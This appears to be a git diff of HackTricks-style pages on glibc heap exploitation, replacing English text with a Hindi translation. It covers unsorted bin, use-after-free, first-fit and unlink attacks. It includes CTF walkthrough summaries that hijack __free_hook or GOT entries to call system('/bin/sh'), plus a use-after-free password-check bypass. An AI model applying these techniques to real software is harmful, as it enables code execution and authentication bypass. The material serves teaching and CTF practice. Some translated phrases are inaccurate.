- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
|
||||
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
|
||||
- हालांकि CTF में एक अनलिंक हमला पाना अजीब होगा, यहां कुछ लेख हैं जहां इस हमले का उपयोग किया गया था:
|
||||
- CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
|
||||
- इस उदाहरण में, स्टैक के बजाय malloc'ed पते का एक एरे है। अनलिंक हमला यहां एक चंक आवंटित करने के लिए किया जाता है, इसलिए malloc'ed पते के एरे के पॉइंटर्स को नियंत्रित करना संभव है। फिर, एक और कार्यक्षमता है जो इन पते में चंक्स की सामग्री को संशोधित करने की अनुमति देती है, जो GOT के पते को इंगित करने, कार्यों के पते को संशोधित करने, लीक प्राप्त करने और RCE की अनुमति देती है।
|
||||
- एक और CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
|
||||
- पिछले उदाहरण की तरह, आवंटनों के पते का एक एरे है। एक अनलिंक हमला किया जा सकता है ताकि पहले आवंटन के पते को एरे शुरू होने से कुछ स्थान पहले इंगित किया जा सके और इस आवंटन को नए स्थान में ओवरराइट किया जा सके। इसलिए, यह अन्य आवंटनों के पॉइंटर्स को GOT के atoi की ओर इंगित करने के लिए ओवरराइट करना संभव है, इसे प्रिंट करना ताकि libc लीक हो सके, और फिर atoi GOT को एक गेजेट के पते के साथ ओवरराइट करना।
|
||||
- कस्टम malloc और free कार्यों के साथ CTF उदाहरण जो एक vuln का शोषण करते हैं जो अनलिंक हमले के बहुत समान है: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
|
||||
- एक ओवरफ्लो है जो कस्टम malloc के FD और BK पॉइंटर्स को नियंत्रित करने की अनुमति देता है जो (कस्टम) मुक्त किए जाएंगे। इसके अलावा, हीप में exec बिट है, इसलिए एक हीप पते को लीक करना और GOT से एक कार्य को एक हीप चंक की ओर इंगित करना संभव है जिसमें निष्पादन के लिए एक शेलकोड है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,64 +10,64 @@ For more information about what is an unsorted bin check this page:
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
|
||||
Unsorted सूचियाँ `unsorted_chunks (av)` के पते को चंक के `bk` पते में लिखने में सक्षम होती हैं। इसलिए, यदि एक हमलावर **चंक के `bk` पॉइंटर के पते को संशोधित कर सकता है** जो अनसॉर्टेड बिन के अंदर है, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते को लीक करने या कुछ रक्षा को बायपास करने में सहायक हो सकता है।
|
||||
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
|
||||
तो, मूल रूप से, यह हमला **एक मनमाने पते पर एक बड़ा नंबर सेट करने की अनुमति देता है**। यह बड़ा नंबर एक पता है, जो एक हीप पता या एक Glibc पता हो सकता है। एक सामान्य लक्ष्य **`global_max_fast`** है ताकि बड़े आकार के फास्ट बिन बिन बनाए जा सकें (और अनसॉर्टेड बिन हमले से फास्ट बिन हमले में जाया जा सके)।
|
||||
|
||||
> [!TIP]
|
||||
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
|
||||
> उदाहरण पर नज़र डालने के लिए [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) पर जाएं और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** सक्रिय होती है।
|
||||
>
|
||||
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
|
||||
> इसलिए, यह अनसॉर्टेड बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक किया जा सके ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)` का मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें नकली चंक के `fd` स्थिति में पता होना चाहिए और नकली चंक `fd` एरेना की ओर इशारा कर रहा है।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
|
||||
> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे सक्रिय करने के लिए हमें **समान आकार आवंटित करना चाहिए या प्रोग्राम क्रैश हो जाएगा।**
|
||||
>
|
||||
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
|
||||
> ध्यान दें कि **`global_max_fast`** को ओवरराइट करना इस मामले में मदद कर सकता है यह मानते हुए कि फास्ट बिन सभी अन्य आवंटनों का ध्यान रख सकेगा जब तक कि शोषण पूरा नहीं हो जाता।
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) से कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले से उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
यह वास्तव में एक बहुत बुनियादी अवधारणा है। अनसॉर्टेड बिन में चंक के पास पॉइंटर्स होंगे। अनसॉर्टेड बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक को **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\
|
||||
इसलिए, यदि आप **एक चंक को अनसॉर्टेड बिन में डाल सकते हैं और इसे पढ़ सकते हैं** (फ्री के बाद उपयोग) या **कम से कम 1 पॉइंटर को ओवरराइट किए बिना इसे फिर से आवंटित कर सकते हैं** ताकि फिर **इसे पढ़ सकें**, तो आप एक **Glibc जानकारी लीक** प्राप्त कर सकते हैं।
|
||||
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
एक समान [**हमला जो इस लेख में उपयोग किया गया**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 चंक संरचना (A, B, C और D - D केवल शीर्ष चंक के साथ समेकन को रोकने के लिए है) का दुरुपयोग करने के लिए था, इसलिए B में एक शून्य बाइट ओवरफ्लो का उपयोग किया गया था ताकि C यह संकेत दे सके कि B अप्रयुक्त था। इसके अलावा, B में `prev_size` डेटा को संशोधित किया गया ताकि आकार B का आकार न होकर A+B हो।\
|
||||
फिर C को डिएक्लेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर लीक किए गए libc पते B में लिखे गए जहां से उन्हें लीक किया गया।
|
||||
|
||||
## References & Other examples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
|
||||
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
|
||||
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
|
||||
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
|
||||
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
|
||||
- लक्ष्य एक वैश्विक चर को 4869 से अधिक के मान के साथ ओवरराइट करना है ताकि यह संभव हो सके कि ध्वज प्राप्त किया जा सके और PIE सक्षम नहीं है।
|
||||
- यह मनमाने आकार के चंक उत्पन्न करना संभव है और वांछित आकार के साथ एक हीप ओवरफ्लो है।
|
||||
- हमला 3 चंक बनाने से शुरू होता है: चंक0 ओवरफ्लो का दुरुपयोग करने के लिए, चंक1 ओवरफ्लो होने के लिए और चंक2 ताकि शीर्ष चंक पिछले लोगों के साथ समेकित न हो।
|
||||
- फिर, चंक1 को मुक्त किया जाता है और चंक0 को ओवरफ्लो किया जाता है ताकि चंक1 के `bk` पॉइंटर को इंगित किया जा सके: `bk = magic - 0x10`
|
||||
- फिर, चंक3 को चंक1 के समान आकार के साथ आवंटित किया जाता है, जो अनसॉर्टेड बिन हमले को सक्रिय करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव होगा।
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
|
||||
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
|
||||
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
|
||||
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
|
||||
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
|
||||
- Now a **fast bin attack** is performed:
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- मर्ज फ़ंक्शन कमजोर है क्योंकि यदि दोनों पास किए गए अनुक्रमांक समान हैं तो यह उस पर पुनः आवंटित करेगा और फिर इसे मुक्त करेगा लेकिन उस मुक्त क्षेत्र के लिए एक पॉइंटर लौटाएगा जिसका उपयोग किया जा सकता है।
|
||||
- इसलिए, **2 चंक बनाए जाते हैं**: **चंक0** जो अपने साथ मर्ज किया जाएगा और चंक1 ताकि शीर्ष चंक के साथ समेकन को रोक सके। फिर, **चंक0 के साथ मर्ज फ़ंक्शन** को दो बार कॉल किया जाता है जो फ्री के बाद उपयोग का कारण बनेगा।
|
||||
- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **एक libc पता लीक करेगा**।
|
||||
- चूंकि बाइनरी में केवल **`global_max_fast`** से बड़े आकार के malloc की सुरक्षा है, इसलिए कोई फास्टबिन का उपयोग नहीं किया जाता है, एक अनसॉर्टेड बिन हमला वैश्विक चर `global_max_fast` को ओवरराइट करने के लिए उपयोग किया जाएगा।
|
||||
- फिर, यह संभव है कि अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल किया जाए और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट किया जाए। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अनसॉर्टेड बिन हमले को सक्रिय करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब फास्ट बिन में चंक बनाना संभव हो गया है।
|
||||
- अब एक **फास्ट बिन हमला** किया जाता है:
|
||||
- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान में फास्ट **चंक के आकार 200** के साथ काम करना संभव है:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जिसे निष्पादित किया जाएगा।
|
||||
- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और मर्ज फ़ंक्शन को उस पॉइंटर के साथ दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं।
|
||||
- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इशारा करने के लिए संशोधित किया जा सके।
|
||||
- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके ताकि आकार `0x1f8` का एक और चंक बनाया जा सके ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त किया जा सके जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया गया है।
|
||||
- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को सक्रिय करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है।
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- अनसॉर्टेड बिन में चंक्स को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को करना।
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं।
|
||||
- अनसॉर्टेड बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करना है, लेकिन हमें 16 बिट्स को संशोधित करना होगा)।
|
||||
- एक वैश्विक चंक्स के एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इशारा करने की अनुमति देता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
|
||||
जैसा कि नाम से स्पष्ट है, यह कमजोरियां तब होती हैं जब एक प्रोग्राम **हीप में एक ऑब्जेक्ट के लिए कुछ स्थान** स्टोर करता है, **वहां कुछ जानकारी लिखता है**, **इसे मुक्त करता है** स्पष्ट रूप से क्योंकि इसकी अब आवश्यकता नहीं है और फिर **इसे फिर से एक्सेस करता है**।
|
||||
|
||||
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
|
||||
यहां समस्या यह है कि जब **मुक्त मेमोरी को एक्सेस किया जाता है** तो यह अवैध नहीं है (यहां **कोई त्रुटियां नहीं होंगी**)। इसलिए, यदि प्रोग्राम (या हमलावर) ने **मुक्त मेमोरी को आवंटित किया और मनमाना डेटा स्टोर किया**, जब मुक्त मेमोरी को प्रारंभिक पॉइंटर से एक्सेस किया जाता है तो **डेटा को ओवरराइट किया जा सकता है** जिससे एक **कमजोरी उत्पन्न होती है जो उस डेटा की संवेदनशीलता पर निर्भर करती है** जो मूल रूप से स्टोर किया गया था (यदि यह एक फ़ंक्शन का पॉइंटर था जिसे कॉल किया जाने वाला था, तो एक हमलावर इसे नियंत्रित कर सकता है)।
|
||||
|
||||
### First Fit attack
|
||||
|
||||
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
|
||||
Check more info in:
|
||||
एक फर्स्ट फिट हमला उन तरीकों को लक्षित करता है जिनसे कुछ मेमोरी आवंटक, जैसे कि glibc में, मुक्त मेमोरी का प्रबंधन करते हैं। जब आप मेमोरी के एक ब्लॉक को मुक्त करते हैं, तो इसे एक सूची में जोड़ा जाता है, और नए मेमोरी अनुरोध उस सूची से अंत से खींचते हैं। हमलावर इस व्यवहार का उपयोग **किस मेमोरी ब्लॉकों का पुन: उपयोग किया जाता है, इसे नियंत्रित करने के लिए कर सकते हैं**। इससे "use-after-free" समस्याएं उत्पन्न हो सकती हैं, जहां एक हमलावर **पुनः आवंटित की गई मेमोरी की सामग्री को बदल सकता है**, जिससे सुरक्षा का जोखिम उत्पन्न होता है।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
first-fit.md
|
||||
|
||||
@ -4,36 +4,33 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
|
||||
जब आप glibc का उपयोग करके किसी प्रोग्राम में मेमोरी को फ्री करते हैं, तो मेमोरी के टुकड़ों को प्रबंधित करने के लिए विभिन्न "बिन" का उपयोग किया जाता है। यहाँ दो सामान्य परिदृश्यों का एक सरल स्पष्टीकरण है: अनसॉर्टेड बिन और फास्टबिन।
|
||||
|
||||
### Unsorted Bins
|
||||
|
||||
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
|
||||
जब आप एक मेमोरी टुकड़ा फ्री करते हैं जो एक फास्ट टुकड़ा नहीं है, तो यह अनसॉर्टेड बिन में चला जाता है। यह बिन एक सूची की तरह कार्य करता है जहाँ नए फ्री किए गए टुकड़े सामने ( "हेड") में जोड़े जाते हैं। जब आप मेमोरी का एक नया टुकड़ा मांगते हैं, तो आवंटक अनसॉर्टेड बिन को पीछे ( "टेल") से देखता है ताकि एक ऐसा टुकड़ा ढूंढ सके जो आपके लिए पर्याप्त बड़ा हो। यदि अनसॉर्टेड बिन से कोई टुकड़ा आपके आवश्यक आकार से बड़ा है, तो इसे विभाजित किया जाता है, जिसमें सामने का भाग वापस किया जाता है और शेष भाग बिन में रहता है।
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
|
||||
- When you free `a`, it goes to the unsorted bin.
|
||||
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
|
||||
- `c` will be pointing to the previous `a` and filled with the `a's`.
|
||||
उदाहरण:
|
||||
|
||||
- आप 300 बाइट (`a`) आवंटित करते हैं, फिर 250 बाइट (`b`), `a` को फ्री करते हैं और फिर से 250 बाइट (`c`) मांगते हैं।
|
||||
- जब आप `a` को फ्री करते हैं, तो यह अनसॉर्टेड बिन में चला जाता है।
|
||||
- यदि आप फिर से 250 बाइट मांगते हैं, तो आवंटक `a` को टेल में पाता है और इसे विभाजित करता है, आपके अनुरोध के लिए उपयुक्त भाग लौटाते हुए और बाकी को बिन में रखते हुए।
|
||||
- `c` पिछले `a` की ओर इशारा करेगा और `a's` से भरा होगा।
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
free(a);
|
||||
char *c = malloc(250);
|
||||
```
|
||||
|
||||
### Fastbins
|
||||
|
||||
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
|
||||
Fastbins छोटे मेमोरी टुकड़ों के लिए उपयोग किए जाते हैं। असंरचित बिन के विपरीत, फास्टबिन नए टुकड़ों को सिर में जोड़ते हैं, जिससे अंतिम-प्रविष्टि-प्रथम-निकासी (LIFO) व्यवहार उत्पन्न होता है। यदि आप मेमोरी का एक छोटा टुकड़ा मांगते हैं, तो आवंटक फास्टबिन के सिर से खींचेगा।
|
||||
|
||||
Example:
|
||||
|
||||
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
|
||||
- When you free them in any order, the freed chunks are added to the fastbin's head.
|
||||
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
|
||||
उदाहरण:
|
||||
|
||||
- आप चार टुकड़े 20 बाइट प्रत्येक (`a`, `b`, `c`, `d`) आवंटित करते हैं।
|
||||
- जब आप उन्हें किसी भी क्रम में मुक्त करते हैं, तो मुक्त किए गए टुकड़े फास्टबिन के सिर में जोड़े जाते हैं।
|
||||
- यदि आप फिर 20-बाइट का टुकड़ा मांगते हैं, तो आवंटक फास्टबिन के सिर से सबसे हाल ही में मुक्त किया गया टुकड़ा लौटाएगा।
|
||||
```c
|
||||
char *a = malloc(20);
|
||||
char *b = malloc(20);
|
||||
@ -48,17 +45,16 @@ b = malloc(20); // c
|
||||
c = malloc(20); // b
|
||||
d = malloc(20); // a
|
||||
```
|
||||
|
||||
## Other References & Examples
|
||||
## अन्य संदर्भ और उदाहरण
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
|
||||
- ARM64. Use after free: एक उपयोगकर्ता वस्तु उत्पन्न करें, इसे मुक्त करें, एक वस्तु उत्पन्न करें जो मुक्त किए गए भाग को प्राप्त करती है और इसे लिखने की अनुमति देती है, **पिछली स्थिति को ओवरराइट करते हुए user->password**। उपयोगकर्ता को पुन: उपयोग करें ताकि **पासवर्ड जांच को बायपास किया जा सके**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
|
||||
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
|
||||
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
|
||||
- कार्यक्रम नोट्स बनाने की अनुमति देता है। एक नोट में नोट की जानकारी malloc(8) में होगी (जिसमें एक फ़ंक्शन का पॉइंटर होगा जिसे कॉल किया जा सकता है) और एक अन्य malloc(\<size>) का पॉइंटर होगा जिसमें नोट की सामग्री होगी।
|
||||
- हमला 2 नोट्स (note0 और note1) बनाने का होगा जिनकी malloc सामग्री नोट की जानकारी के आकार से बड़ी होगी और फिर उन्हें मुक्त करें ताकि वे तेज़ बिन (या tcache) में जा सकें।
|
||||
- फिर, एक और नोट (note2) बनाएं जिसमें सामग्री का आकार 8 हो। सामग्री note1 में होगी क्योंकि भाग को पुन: उपयोग किया जाएगा, जहां हम फ़ंक्शन पॉइंटर को win फ़ंक्शन की ओर इंगित करने के लिए संशोधित कर सकते हैं और फिर Use-After-Free note1 को नए फ़ंक्शन पॉइंटर को कॉल करने के लिए।
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
